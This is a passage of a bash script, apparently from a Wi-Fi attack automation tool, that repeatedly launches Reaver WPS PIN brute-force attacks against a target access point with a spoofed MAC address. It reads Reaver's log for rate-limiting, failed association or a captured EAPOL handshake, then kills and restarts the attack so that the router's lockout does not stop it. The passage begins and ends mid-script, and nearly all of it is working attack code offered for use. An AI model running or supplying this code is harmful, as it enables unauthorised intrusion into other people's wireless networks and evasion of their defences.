if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R3 == y || $USE_R3 == Y ]] && [[ $USE_LONG3 == y || $USE_LONG3 == Y ]] && [[ $USE_PIN3 == n || $USE_PIN3 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX3" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY3"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -r $RX3:$RY3 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R3 == n || $USE_R3 == N ]] && [[ $USE_LONG3 == n || $USE_LONG3 == N ]] && [[ $USE_PIN3 == y || $USE_PIN3 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -vv -x 60  --pin=$WPS_PIN3 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`



if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R3 == y || $USE_R3 == Y ]] && [[ $USE_LONG3 == n || $USE_LONG3 == N ]] && [[ $USE_PIN3 == y || $USE_PIN3 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX3" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY3"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -vv -x 60 -r $RX3:$RY3 --pin=$WPS_PIN3 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R3 == n || $USE_R3 == N ]] && [[ $USE_LONG3 == y || $USE_LONG3 == Y ]] && [[ $USE_PIN3 == y || $USE_PIN3 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN3 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R3 == y || $USE_R3 == Y ]] && [[ $USE_LONG3 == y || $USE_LONG3 == Y ]] && [[ $USE_PIN3 == y || $USE_PIN3 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME3"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL3"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP3"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX3" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY3"
echo -e "$info Reaver live time                   = $yel$LIVE3 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME3-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL3 -b $TARGETAP3 -r $RX3:$RY3 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN3 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME3-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE3-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
